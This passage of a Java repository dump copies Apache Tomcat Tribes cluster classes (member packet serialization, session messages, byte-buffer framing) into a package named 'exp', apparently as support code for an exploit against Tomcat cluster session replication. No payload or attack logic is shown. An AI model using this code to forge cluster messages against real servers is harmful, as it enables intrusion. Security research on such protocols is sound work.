221 | //start package TRIBES_MBR_BEGIN.length
222 | //package length - 4 bytes
223 | //alive - 8 bytes
224 | //port - 4 bytes
225 | //secure port - 4 bytes
226 | //udp port - 4 bytes
227 | //host length - 1 byte
228 | //host - hl bytes
229 | //clen - 4 bytes
230 | //command - clen bytes
231 | //dlen - 4 bytes
232 | //domain - dlen bytes
233 | //uniqueId - 16 bytes
234 | //payload length - 4 bytes
235 | //payload plen bytes
236 | //end package TRIBES_MBR_END.length
237 | long alive= System.currentTimeMillis()-getServiceStartTime();
238 | byte[] data = new byte[getDataLength()];
239 |
240 | int bodylength = (getDataLength() - TRIBES_MBR_BEGIN.length - TRIBES_MBR_END.length - 4);
241 |
242 | int pos = 0;
243 |
244 | //TRIBES_MBR_BEGIN
245 | System.arraycopy(TRIBES_MBR_BEGIN,0,data,pos,TRIBES_MBR_BEGIN.length);
246 | pos += TRIBES_MBR_BEGIN.length;
247 |
248 | //body length
249 | XByteBuffer.toBytes(bodylength,data,pos);
250 | pos += 4;
251 |
252 | //alive data
253 | XByteBuffer.toBytes(alive,data,pos);
254 | pos += 8;
255 | //port
256 | XByteBuffer.toBytes(port,data,pos);
257 | pos += 4;
258 | //secure port
259 | XByteBuffer.toBytes(securePort,data,pos);
260 | pos += 4;
261 | //udp port
262 | XByteBuffer.toBytes(udpPort,data,pos);
263 | pos += 4;
264 | //host length
265 | data[pos++] = (byte) host.length;
266 | //host
267 | System.arraycopy(host,0,data,pos,host.length);
268 | pos+=host.length;
269 | //clen - 4 bytes
270 | XByteBuffer.toBytes(command.length,data,pos);
271 | pos+=4;
272 | //command - clen bytes
273 | System.arraycopy(command,0,data,pos,command.length);
274 | pos+=command.length;
275 | //dlen - 4 bytes
276 | XByteBuffer.toBytes(domain.length,data,pos);
277 | pos+=4;
278 | //domain - dlen bytes
279 | System.arraycopy(domain,0,data,pos,domain.length);
280 | pos+=domain.length;
281 | //unique Id
282 | System.arraycopy(uniqueId,0,data,pos,uniqueId.length);
283 | pos+=uniqueId.length;
284 | //payload
285 | XByteBuffer.toBytes(payload.length,data,pos);
286 | pos+=4;
287 | System.arraycopy(payload,0,data,pos,payload.length);
288 | pos+=payload.length;
289 |
290 | //TRIBES_MBR_END
291 | System.arraycopy(TRIBES_MBR_END,0,data,pos,TRIBES_MBR_END.length);
292 | pos += TRIBES_MBR_END.length;
293 |
294 | //create local data
295 | dataPkg = data;
296 | return data;
297 | }
298 | /**
299 | * Deserializes a member from data sent over the wire.
300 | *
301 | * @param data The bytes received
302 | * @param member The member object to populate
303 | *
304 | * @return The populated member object.
305 | */
306 | public static Member getMember(byte[] data, MemberImpl member) {
307 | return getMember(data,0,data.length,member);
308 | }
309 |
310 | public static Member getMember(byte[] data, int offset, int length, MemberImpl member) {
311 | //package looks like
312 | //start package TRIBES_MBR_BEGIN.length
313 | //package length - 4 bytes
314 | //alive - 8 bytes
315 | //port - 4 bytes
316 | //secure port - 4 bytes
317 | //udp port - 4 bytes
318 | //host length - 1 byte
319 | //host - hl bytes
320 | //clen - 4 bytes
321 | //command - clen bytes
322 | //dlen - 4 bytes
323 | //domain - dlen bytes
324 | //uniqueId - 16 bytes
325 | //payload length - 4 bytes
326 | //payload plen bytes
327 | //end package TRIBES_MBR_END.length
328 |
329 | int pos = offset;
330 |
331 | if (XByteBuffer.firstIndexOf(data,offset,TRIBES_MBR_BEGIN)!=pos) {
332 | throw new IllegalArgumentException("");
333 | }
334 |
335 | if ( length < (TRIBES_MBR_BEGIN.length+4) ) {
336 | throw new ArrayIndexOutOfBoundsException("");
337 | }
338 |
339 | pos += TRIBES_MBR_BEGIN.length;
340 |
341 | int bodylength = XByteBuffer.toInt(data,pos);
342 | pos += 4;
343 |
344 | if ( length < (bodylength+4+TRIBES_MBR_BEGIN.length+TRIBES_MBR_END.length) ) {
345 | throw new ArrayIndexOutOfBoundsException("");
346 | }
347 |
348 | int endpos = pos+bodylength;
349 | if (XByteBuffer.firstIndexOf(data,endpos,TRIBES_MBR_END)!=endpos) {
350 | throw new IllegalArgumentException("");
351 | }
352 |
353 |
354 | byte[] alived = new byte[8];
355 | System.arraycopy(data, pos, alived, 0, 8);
356 | pos += 8;
357 | byte[] portd = new byte[4];
358 | System.arraycopy(data, pos, portd, 0, 4);
359 | pos += 4;
360 |
361 | byte[] sportd = new byte[4];
362 | System.arraycopy(data, pos, sportd, 0, 4);
363 | pos += 4;
364 |
365 | byte[] uportd = new byte[4];
366 | System.arraycopy(data, pos, uportd, 0, 4);
367 | pos += 4;
368 |
369 |
370 | byte hl = data[pos++];
371 | byte[] addr = new byte[hl];
372 | System.arraycopy(data, pos, addr, 0, hl);
373 | pos += hl;
374 |
375 | int cl = XByteBuffer.toInt(data, pos);
376 | pos += 4;
377 |
378 | byte[] command = new byte[cl];
379 | System.arraycopy(data, pos, command, 0, command.length);
380 | pos += command.length;
381 |
382 | int dl = XByteBuffer.toInt(data, pos);
383 | pos += 4;
384 |
385 | byte[] domain = new byte[dl];
386 | System.arraycopy(data, pos, domain, 0, domain.length);
387 | pos += domain.length;
388 |
389 | byte[] uniqueId = new byte[16];
390 | System.arraycopy(data, pos, uniqueId, 0, 16);
391 | pos += 16;
392 |
393 | int pl = XByteBuffer.toInt(data, pos);
394 | pos += 4;
395 |
396 | byte[] payload = new byte[pl];
397 | System.arraycopy(data, pos, payload, 0, payload.length);
398 | pos += payload.length;
399 |
400 | member.setHost(addr);
401 | member.setPort(XByteBuffer.toInt(portd, 0));
402 | member.setSecurePort(XByteBuffer.toInt(sportd, 0));
403 | member.setUdpPort(XByteBuffer.toInt(uportd, 0));
404 | member.setMemberAliveTime(XByteBuffer.toLong(alived, 0));
405 | member.setUniqueId(uniqueId);
406 | member.payload = payload;
407 | member.domain = domain;
408 | member.command = command;
409 |
410 | member.dataPkg = new byte[length];
411 | System.arraycopy(data, offset, member.dataPkg, 0, length);
412 |
413 | return member;
414 | }
415 |
416 | public static Member getMember(byte[] data) {
417 | return getMember(data,new MemberImpl());
418 | }
419 |
420 | public static Member getMember(byte[] data, int offset, int length) {
421 | return getMember(data,offset,length,new MemberImpl());
422 | }
423 |
424 | /**
425 | * Return the name of this object
426 | * @return a unique name to the cluster
427 | */
428 | @Override
429 | public String getName() {
430 | return "tcp://"+getHostname()+":"+getPort();
431 | }
432 |
433 | /**
434 | * Return the listen port of this member
435 | * @return - tcp listen port
436 | */
437 | @Override
438 | public int getPort() {
439 | return this.port;
440 | }
441 |
442 | /**
443 | * Return the TCP listen host for this member
444 | * @return IP address or host name
445 | */
446 | @Override
447 | public byte[] getHost() {
448 | return host;
449 | }
450 |
451 | public String getHostname() {
452 | if ( this.hostname != null ) return hostname;
453 | else {
454 | try {
455 | byte[] host = this.host;
456 | this.hostname = java.net.InetAddress.getByAddress(host).getHostName();
457 | return this.hostname;
458 | }catch ( IOException x ) {
459 | throw new RuntimeException(x);
460 | }
461 | }
462 | }
463 |
464 | public int getMsgCount() {
465 | return msgCount.get();
466 | }
467 |
468 | /**
469 | * Contains information on how long this member has been online.
470 | * The result is the number of milli seconds this member has been
471 | * broadcasting its membership to the cluster.
472 | * @return nr of milliseconds since this member started.
473 | */
474 | @Override
475 | public long getMemberAliveTime() {
476 | return memberAliveTime;
477 | }
478 |
479 | public long getServiceStartTime() {
480 | return serviceStartTime;
481 | }
482 |
483 | @Override
484 | public byte[] getUniqueId() {
485 | return uniqueId;
486 | }
487 |
488 | @Override
489 | public byte[] getPayload() {
490 | return payload;
491 | }
492 |
493 | @Override
494 | public byte[] getCommand() {
495 | return command;
496 | }
497 |
498 | @Override
499 | public byte[] getDomain() {
500 | return domain;
501 | }
502 |
503 | @Override
504 | public int getSecurePort() {
505 | return securePort;
506 | }
507 |
508 | @Override
509 | public int getUdpPort() {
510 | return udpPort;
511 | }
512 |
513 | @Override
514 | public void setMemberAliveTime(long time) {
515 | memberAliveTime=time;
516 | }
517 |
518 |
519 |
520 | /**
521 | * String representation of this object
522 | */
523 | @Override
524 | public String toString() {
525 | StringBuilder buf = new StringBuilder(getClass().getName());
526 | buf.append("[");
527 | buf.append(getName()).append(",");
528 | buf.append(getHostname()).append(",");
529 | buf.append(port).append(", alive=");
530 | buf.append(memberAliveTime).append(", ");
531 | buf.append("securePort=").append(securePort).append(", ");
532 | buf.append("UDP Port=").append(udpPort).append(", ");
533 | buf.append("id=").append(bToS(this.uniqueId)).append(", ");
534 | buf.append("payload=").append(bToS(this.payload,8)).append(", ");
535 | buf.append("command=").append(bToS(this.command,8)).append(", ");
536 | buf.append("domain=").append(bToS(this.domain,8));
537 | buf.append("]");
538 | return buf.toString();
539 | }
540 | public static String bToS(byte[] data) {
541 | return bToS(data,data.length);
542 | }
543 | public static String bToS(byte[] data, int max) {
544 | StringBuilder buf = new StringBuilder(4*16);
545 | buf.append("{");
546 | for (int i=0; data!=null && i oldPayloadLength) {
623 | // It is possible that the max packet size will be exceeded
624 |
625 | }
626 | this.payload = payload != null ? payload : new byte[0];
627 | getData(true, true);
628 | }
629 |
630 | @Override
631 | public synchronized void setCommand(byte[] command) {
632 | this.command = command!=null?command:new byte[0];
633 | getData(true,true);
634 | }
635 |
636 | public synchronized void setDomain(byte[] domain) {
637 | this.domain = domain!=null?domain:new byte[0];
638 | getData(true,true);
639 | }
640 |
641 | public synchronized void setSecurePort(int securePort) {
642 | this.securePort = securePort;
643 | this.dataPkg = null;
644 | }
645 |
646 | public synchronized void setUdpPort(int port) {
647 | this.udpPort = port;
648 | this.dataPkg = null;
649 | }
650 |
651 | @Override
652 | public boolean isLocal() {
653 | return local;
654 | }
655 |
656 | @Override
657 | public void setLocal(boolean local) {
658 | this.local = local;
659 | }
660 |
661 | @Override
662 | public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
663 | int length = in.readInt();
664 | byte[] message = new byte[length];
665 | in.readFully(message);
666 | getMember(message,this);
667 |
668 | }
669 |
670 | @Override
671 | public void writeExternal(ObjectOutput out) throws IOException {
672 | byte[] data = this.getData();
673 | out.writeInt(data.length);
674 | out.write(data);
675 | }
676 |
677 | }
678 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/support/SessionMessage.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 | package me.threedr3am.exp.support;
18 |
19 | /**
20 | *
21 | * Class Description:
22 | * The SessionMessage class is a class that is used when a session has been
23 | * created, modified, expired in a Tomcat cluster node.
24 | *
25 | * The following events are currently available:
26 | *
27 | * public static final int EVT_SESSION_CREATED
-
28 | *
public static final int EVT_SESSION_EXPIRED
-
29 | *
public static final int EVT_SESSION_ACCESSED
-
30 | *
public static final int EVT_GET_ALL_SESSIONS
-
31 | *
public static final int EVT_SESSION_DELTA
-
32 | *
public static final int EVT_ALL_SESSION_DATA
-
33 | *
public static final int EVT_ALL_SESSION_TRANSFERCOMPLETE
-
34 | *
public static final int EVT_CHANGE_SESSION_ID
-
35 | *
public static final int EVT_ALL_SESSION_NOCONTEXTMANAGER
-
36 | *
37 | *
38 | */
39 |
40 | public interface SessionMessage extends ClusterMessage {
41 |
42 | /**
43 | * Event type used when a session has been created on a node
44 | */
45 | public static final int EVT_SESSION_CREATED = 1;
46 | /**
47 | * Event type used when a session has expired
48 | */
49 | public static final int EVT_SESSION_EXPIRED = 2;
50 |
51 | /**
52 | * Event type used when a session has been accessed (ie, last access time
53 | * has been updated. This is used so that the replicated sessions will not expire
54 | * on the network
55 | */
56 | public static final int EVT_SESSION_ACCESSED = 3;
57 | /**
58 | * Event type used when a server comes online for the first time.
59 | * The first thing the newly started server wants to do is to grab the
60 | * all the sessions from one of the nodes and keep the same state in there
61 | */
62 | public static final int EVT_GET_ALL_SESSIONS = 4;
63 | /**
64 | * Event type used when an attribute has been added to a session,
65 | * the attribute will be sent to all the other nodes in the cluster
66 | */
67 | public static final int EVT_SESSION_DELTA = 13;
68 |
69 | /**
70 | * When a session state is transferred, this is the event.
71 | */
72 | public static final int EVT_ALL_SESSION_DATA = 12;
73 |
74 | /**
75 | * When a session state is complete transferred, this is the event.
76 | */
77 | public static final int EVT_ALL_SESSION_TRANSFERCOMPLETE = 14;
78 |
79 | /**
80 | * Event type used when a sessionID has been changed.
81 | */
82 | public static final int EVT_CHANGE_SESSION_ID = 15;
83 |
84 | /**
85 | * Event type used when context manager doesn't exist.
86 | * This is used when the manager which send a session state does not exist.
87 | */
88 | public static final int EVT_ALL_SESSION_NOCONTEXTMANAGER = 16;
89 |
90 | public String getContextName();
91 |
92 | public String getEventTypeString();
93 |
94 | /**
95 | * returns the event type
96 | * @return one of the event types EVT_XXXX
97 | */
98 | public int getEventType();
99 | /**
100 | * @return the serialized data for the session
101 | */
102 | public byte[] getSession();
103 | /**
104 | * @return the session ID for the session
105 | */
106 | public String getSessionID();
107 |
108 |
109 | }//SessionMessage
110 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/support/SessionMessageImpl.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 | package me.threedr3am.exp.support;
18 |
19 |
20 | /**
21 | * Session cluster message
22 | *
23 | * @author Peter Rossbach
24 | */
25 | public class SessionMessageImpl extends ClusterMessageBase implements SessionMessage {
26 |
27 | private static final long serialVersionUID = 2L;
28 |
29 |
30 | /*
31 | * Private serializable variables to keep the messages state
32 | */
33 | private final int mEvtType;
34 | private final byte[] mSession;
35 | private final String mSessionID;
36 |
37 | private final String mContextName;
38 | private long serializationTimestamp;
39 | private boolean timestampSet = false ;
40 | private String uniqueId;
41 |
42 |
43 | public SessionMessageImpl( String contextName,
44 | int eventtype,
45 | byte[] session,
46 | String sessionID)
47 | {
48 | mEvtType = eventtype;
49 | mSession = session;
50 | mSessionID = sessionID;
51 | mContextName = contextName;
52 | uniqueId = sessionID;
53 | }
54 |
55 | /**
56 | * Creates a session message. Depending on what event type you want this
57 | * message to represent, you populate the different parameters in the constructor
58 | * The following rules apply dependent on what event type argument you use:
59 | * EVT_SESSION_CREATED
60 | * The parameters: session, sessionID must be set.
61 | * EVT_SESSION_EXPIRED
62 | * The parameters: sessionID must be set.
63 | * EVT_SESSION_ACCESSED
64 | * The parameters: sessionID must be set.
65 | * EVT_GET_ALL_SESSIONS
66 | * get all sessions from from one of the nodes.
67 | * EVT_SESSION_DELTA
68 | * Send attribute delta (add,update,remove attribute or principal, ...).
69 | * EVT_ALL_SESSION_DATA
70 | * Send complete serializes session list
71 | * EVT_ALL_SESSION_TRANSFERCOMPLETE
72 | * send that all session state information are transferred
73 | * after GET_ALL_SESSION received from this sender.
74 | * EVT_CHANGE_SESSION_ID
75 | * send original sessionID and new sessionID.
76 | * EVT_ALL_SESSION_NOCONTEXTMANAGER
77 | * send that context manager does not exist
78 | * after GET_ALL_SESSION received from this sender.
79 | * @param contextName - the name of the context (application
80 | * @param eventtype - one of the 8 event type defined in this class
81 | * @param session - the serialized byte array of the session itself
82 | * @param sessionID - the id that identifies this session
83 | * @param uniqueID - the id that identifies this message
84 | */
85 | public SessionMessageImpl( String contextName,
86 | int eventtype,
87 | byte[] session,
88 | String sessionID,
89 | String uniqueID)
90 | {
91 | this(contextName,eventtype,session,sessionID);
92 | uniqueId = uniqueID;
93 | }
94 |
95 | /**
96 | * returns the event type
97 | * @return one of the event types EVT_XXXX
98 | */
99 | @Override
100 | public int getEventType() { return mEvtType; }
101 |
102 | /**
103 | * @return the serialized data for the session
104 | */
105 | @Override
106 | public byte[] getSession() { return mSession;}
107 |
108 | /**
109 | * @return the session ID for the session
110 | */
111 | @Override
112 | public String getSessionID(){ return mSessionID; }
113 |
114 | /**
115 | * set message send time but only the first setting works (one shot)
116 | */
117 | @Override
118 | public void setTimestamp(long time) {
119 | synchronized(this) {
120 | if(!timestampSet) {
121 | serializationTimestamp=time;
122 | timestampSet = true ;
123 | }
124 | }
125 | }
126 |
127 | @Override
128 | public long getTimestamp() { return serializationTimestamp;}
129 |
130 | /**
131 | * clear text event type name (for logging purpose only)
132 | * @return the event type in a string representation, useful for debugging
133 | */
134 | @Override
135 | public String getEventTypeString()
136 | {
137 | switch (mEvtType)
138 | {
139 | case EVT_SESSION_CREATED : return "SESSION-MODIFIED";
140 | case EVT_SESSION_EXPIRED : return "SESSION-EXPIRED";
141 | case EVT_SESSION_ACCESSED : return "SESSION-ACCESSED";
142 | case EVT_GET_ALL_SESSIONS : return "SESSION-GET-ALL";
143 | case EVT_SESSION_DELTA : return "SESSION-DELTA";
144 | case EVT_ALL_SESSION_DATA : return "ALL-SESSION-DATA";
145 | case EVT_ALL_SESSION_TRANSFERCOMPLETE : return "SESSION-STATE-TRANSFERRED";
146 | case EVT_CHANGE_SESSION_ID : return "SESSION-ID-CHANGED";
147 | case EVT_ALL_SESSION_NOCONTEXTMANAGER : return "NO-CONTEXT-MANAGER";
148 | default : return "UNKNOWN-EVENT-TYPE";
149 | }
150 | }
151 |
152 | @Override
153 | public String getContextName() {
154 | return mContextName;
155 | }
156 |
157 | @Override
158 | public String getUniqueId() {
159 | return uniqueId;
160 | }
161 |
162 | @Override
163 | public String toString() {
164 | return getEventTypeString() + "#" + getContextName() + "#" + getSessionID() ;
165 | }
166 | }
167 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/support/UUIDGenerator.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 | package me.threedr3am.exp.support;
18 |
19 | import java.security.SecureRandom;
20 | import java.util.Random;
21 |
22 | /**
23 | * simple generation of a UUID
24 | * @version 1.0
25 | */
26 | public class UUIDGenerator {
27 |
28 | public static final int UUID_LENGTH = 16;
29 | public static final int UUID_VERSION = 4;
30 | public static final int BYTES_PER_INT = 4;
31 | public static final int BITS_PER_BYTE = 8;
32 |
33 | protected static final SecureRandom secrand;
34 | protected static final Random rand = new Random();
35 |
36 | static {
37 | long start = System.currentTimeMillis();
38 | secrand = new SecureRandom();
39 | // seed the generator
40 | secrand.nextInt();
41 | long time = System.currentTimeMillis() - start;
42 | if (time > 100) {
43 | System.out.println("");
44 | }
45 | }
46 |
47 | public static byte[] randomUUID(boolean secure) {
48 | byte[] result = new byte[UUID_LENGTH];
49 | return randomUUID(secure,result,0);
50 | }
51 |
52 | public static byte[] randomUUID(boolean secure, byte[] into, int offset) {
53 | if ( (offset+UUID_LENGTH)>into.length )
54 | throw new ArrayIndexOutOfBoundsException("");
55 | Random r = (secure&&(secrand!=null))?secrand:rand;
56 | nextBytes(into,offset,UUID_LENGTH,r);
57 | into[6+offset] &= 0x0F;
58 | into[6+offset] |= (UUID_VERSION << 4);
59 | into[8+offset] &= 0x3F; //0011 1111
60 | into[8+offset] |= 0x80; //1000 0000
61 | return into;
62 | }
63 |
64 | /**
65 | * Same as java.util.Random.nextBytes except this one we dont have to allocate a new byte array
66 | * @param into byte[]
67 | * @param offset int
68 | * @param length int
69 | * @param r Random
70 | */
71 | public static void nextBytes(byte[] into, int offset, int length, Random r) {
72 | int numRequested = length;
73 | int numGot = 0, rnd = 0;
74 | while (true) {
75 | for (int i = 0; i < BYTES_PER_INT; i++) {
76 | if (numGot == numRequested) return;
77 | rnd = (i == 0 ? r.nextInt() : rnd >> BITS_PER_BYTE);
78 | into[offset+numGot] = (byte) rnd;
79 | numGot++;
80 | }
81 | }
82 | }
83 |
84 | }
85 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/support/XByteBuffer.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 |
18 | package me.threedr3am.exp.support;
19 |
20 | import java.io.ByteArrayOutputStream;
21 | import java.io.IOException;
22 | import java.io.ObjectOutputStream;
23 | import java.io.Serializable;
24 | import java.nio.ByteBuffer;
25 | import java.util.concurrent.atomic.AtomicInteger;
26 |
27 | /**
28 | * The XByteBuffer provides a dual functionality.
29 | * One, it stores message bytes and automatically extends the byte buffer if needed.
30 | * Two, it can encode and decode packages so that they can be defined and identified
31 | * as they come in on a socket.
32 | *
33 | * THIS CLASS IS NOT THREAD SAFE
34 | *
35 | * Transfer package:
36 | *
37 | * - START_DATA- 7 bytes - FLT2002
38 | * - SIZE - 4 bytes - size of the data package
39 | * - DATA - should be as many bytes as the prev SIZE
40 | * - END_DATA - 7 bytes - TLF2003
41 | *
42 | */
43 | public class XByteBuffer implements Serializable {
44 |
45 | private static final long serialVersionUID = 1L;
46 |
47 | /**
48 | * This is a package header, 7 bytes (FLT2002)
49 | */
50 | private static final byte[] START_DATA = {70,76,84,50,48,48,50};
51 |
52 | /**
53 | * This is the package footer, 7 bytes (TLF2003)
54 | */
55 | private static final byte[] END_DATA = {84,76,70,50,48,48,51};
56 |
57 | /**
58 | * Variable to hold the data
59 | */
60 | protected byte[] buf = null;
61 |
62 | /**
63 | * Current length of data in the buffer
64 | */
65 | protected int bufSize = 0;
66 |
67 | /**
68 | * Flag for discarding invalid packages
69 | * If this flag is set to true, and append(byte[],...) is called,
70 | * the data added will be inspected, and if it doesn't start with
71 | * START_DATA
it will be thrown away.
72 | *
73 | */
74 | protected boolean discard = true;
75 |
76 | /**
77 | * Constructs a new XByteBuffer.
78 | * TODO use a pool of byte[] for performance
79 | * @param size the initial size of the byte buffer
80 | * @param discard Flag for discarding invalid packages
81 | */
82 | public XByteBuffer(int size, boolean discard) {
83 | buf = new byte[size];
84 | this.discard = discard;
85 | }
86 |
87 | public XByteBuffer(byte[] data,boolean discard) {
88 | this(data,data.length+128,discard);
89 | }
90 |
91 | public XByteBuffer(byte[] data, int size,boolean discard) {
92 | int length = Math.max(data.length,size);
93 | buf = new byte[length];
94 | System.arraycopy(data,0,buf,0,data.length);
95 | bufSize = data.length;
96 | this.discard = discard;
97 | }
98 |
99 | public int getLength() {
100 | return bufSize;
101 | }
102 |
103 | public void setLength(int size) {
104 | if ( size > buf.length ) throw new ArrayIndexOutOfBoundsException();
105 | bufSize = size;
106 | }
107 |
108 | public void trim(int length) {
109 | if ( (bufSize - length) < 0 )
110 | throw new ArrayIndexOutOfBoundsException();
111 | bufSize -= length;
112 | }
113 |
114 | public void reset() {
115 | bufSize = 0;
116 | }
117 |
118 | public byte[] getBytesDirect() {
119 | return this.buf;
120 | }
121 |
122 | /**
123 | * @return the bytes in the buffer, in its exact length
124 | */
125 | public byte[] getBytes() {
126 | byte[] b = new byte[bufSize];
127 | System.arraycopy(buf,0,b,0,bufSize);
128 | return b;
129 | }
130 |
131 | /**
132 | * Resets the buffer
133 | */
134 | public void clear() {
135 | bufSize = 0;
136 | }
137 |
138 | /**
139 | * Appends the data to the buffer. If the data is incorrectly formatted, ie, the data should always start with the
140 | * header, false will be returned and the data will be discarded.
141 | * @param b - bytes to be appended
142 | * @param len - the number of bytes to append.
143 | * @return true if the data was appended correctly. Returns false if the package is incorrect, ie missing header or something, or the length of data is 0
144 | */
145 | public boolean append(ByteBuffer b, int len) {
146 | int newcount = bufSize + len;
147 | if (newcount > buf.length) {
148 | expand(newcount);
149 | }
150 | b.get(buf,bufSize,len);
151 |
152 | bufSize = newcount;
153 |
154 | if ( discard ) {
155 | if (bufSize > START_DATA.length && (firstIndexOf(buf, 0, START_DATA) == -1)) {
156 | bufSize = 0;
157 | System.out.println("");
158 | return false;
159 | }
160 | }
161 | return true;
162 |
163 | }
164 |
165 | public boolean append(byte i) {
166 | int newcount = bufSize + 1;
167 | if (newcount > buf.length) {
168 | expand(newcount);
169 | }
170 | buf[bufSize] = i;
171 | bufSize = newcount;
172 | return true;
173 | }
174 |
175 |
176 | public boolean append(boolean i) {
177 | int newcount = bufSize + 1;
178 | if (newcount > buf.length) {
179 | expand(newcount);
180 | }
181 | XByteBuffer.toBytes(i,buf,bufSize);
182 | bufSize = newcount;
183 | return true;
184 | }
185 |
186 | public boolean append(long i) {
187 | int newcount = bufSize + 8;
188 | if (newcount > buf.length) {
189 | expand(newcount);
190 | }
191 | XByteBuffer.toBytes(i,buf,bufSize);
192 | bufSize = newcount;
193 | return true;
194 | }
195 |
196 | public boolean append(int i) {
197 | int newcount = bufSize + 4;
198 | if (newcount > buf.length) {
199 | expand(newcount);
200 | }
201 | XByteBuffer.toBytes(i,buf,bufSize);
202 | bufSize = newcount;
203 | return true;
204 | }
205 |
206 | public boolean append(byte[] b, int off, int len) {
207 | if ((off < 0) || (off > b.length) || (len < 0) ||
208 | ((off + len) > b.length) || ((off + len) < 0)) {
209 | throw new IndexOutOfBoundsException();
210 | } else if (len == 0) {
211 | return false;
212 | }
213 |
214 | int newcount = bufSize + len;
215 | if (newcount > buf.length) {
216 | expand(newcount);
217 | }
218 | System.arraycopy(b, off, buf, bufSize, len);
219 | bufSize = newcount;
220 |
221 | if ( discard ) {
222 | if (bufSize > START_DATA.length && (firstIndexOf(buf, 0, START_DATA) == -1)) {
223 | bufSize = 0;
224 | System.out.println("");
225 | return false;
226 | }
227 | }
228 | return true;
229 | }
230 |
231 | public void expand(int newcount) {
232 | //don't change the allocation strategy
233 | byte newbuf[] = new byte[Math.max(buf.length << 1, newcount)];
234 | System.arraycopy(buf, 0, newbuf, 0, bufSize);
235 | buf = newbuf;
236 | }
237 |
238 | public int getCapacity() {
239 | return buf.length;
240 | }
241 |
242 |
243 | /**
244 | * Internal mechanism to make a check if a complete package exists
245 | * within the buffer
246 | * @return - true if a complete package (header,compress,size,data,footer) exists within the buffer
247 | */
248 | public int countPackages() {
249 | return countPackages(false);
250 | }
251 |
252 | public int countPackages(boolean first)
253 | {
254 | int cnt = 0;
255 | int pos = START_DATA.length;
256 | int start = 0;
257 |
258 | while ( start < bufSize ) {
259 | //first check start header
260 | int index = XByteBuffer.firstIndexOf(buf,start,START_DATA);
261 | //if the header (START_DATA) isn't the first thing or
262 | //the buffer isn't even 14 bytes
263 | if ( index != start || ((bufSize-start)<14) ) break;
264 | //next 4 bytes are compress flag not needed for count packages
265 | //then get the size 4 bytes
266 | int size = toInt(buf, pos);
267 | //now the total buffer has to be long enough to hold
268 | //START_DATA.length+4+size+END_DATA.length
269 | pos = start + START_DATA.length + 4 + size;
270 | if ( (pos + END_DATA.length) > bufSize) break;
271 | //and finally check the footer of the package END_DATA
272 | int newpos = firstIndexOf(buf, pos, END_DATA);
273 | //mismatch, there is no package
274 | if (newpos != pos) break;
275 | //increase the packet count
276 | cnt++;
277 | //reset the values
278 | start = pos + END_DATA.length;
279 | pos = start + START_DATA.length;
280 | //we only want to verify that we have at least one package
281 | if ( first ) break;
282 | }
283 | return cnt;
284 | }
285 |
286 | /**
287 | * Method to check if a package exists in this byte buffer.
288 | * @return - true if a complete package (header,options,size,data,footer) exists within the buffer
289 | */
290 | public boolean doesPackageExist() {
291 | return (countPackages(true)>0);
292 | }
293 |
294 |
295 | /**
296 | * Creates a complete data package
297 | * @param cdata - the message data to be contained within the package
298 | * @return - a full package (header,size,data,footer)
299 | */
300 | public static byte[] createDataPackage(ChannelData cdata) {
301 | // return createDataPackage(cdata.getDataPackage());
302 | //avoid one extra byte array creation
303 | int dlength = cdata.getDataPackageLength();
304 | int length = getDataPackageLength(dlength);
305 | byte[] data = new byte[length];
306 | int offset = 0;
307 | System.arraycopy(START_DATA, 0, data, offset, START_DATA.length);
308 | offset += START_DATA.length;
309 | toBytes(dlength,data, START_DATA.length);
310 | offset += 4;
311 | cdata.getDataPackage(data,offset);
312 | offset += dlength;
313 | System.arraycopy(END_DATA, 0, data, offset, END_DATA.length);
314 | offset += END_DATA.length;
315 | return data;
316 | }
317 |
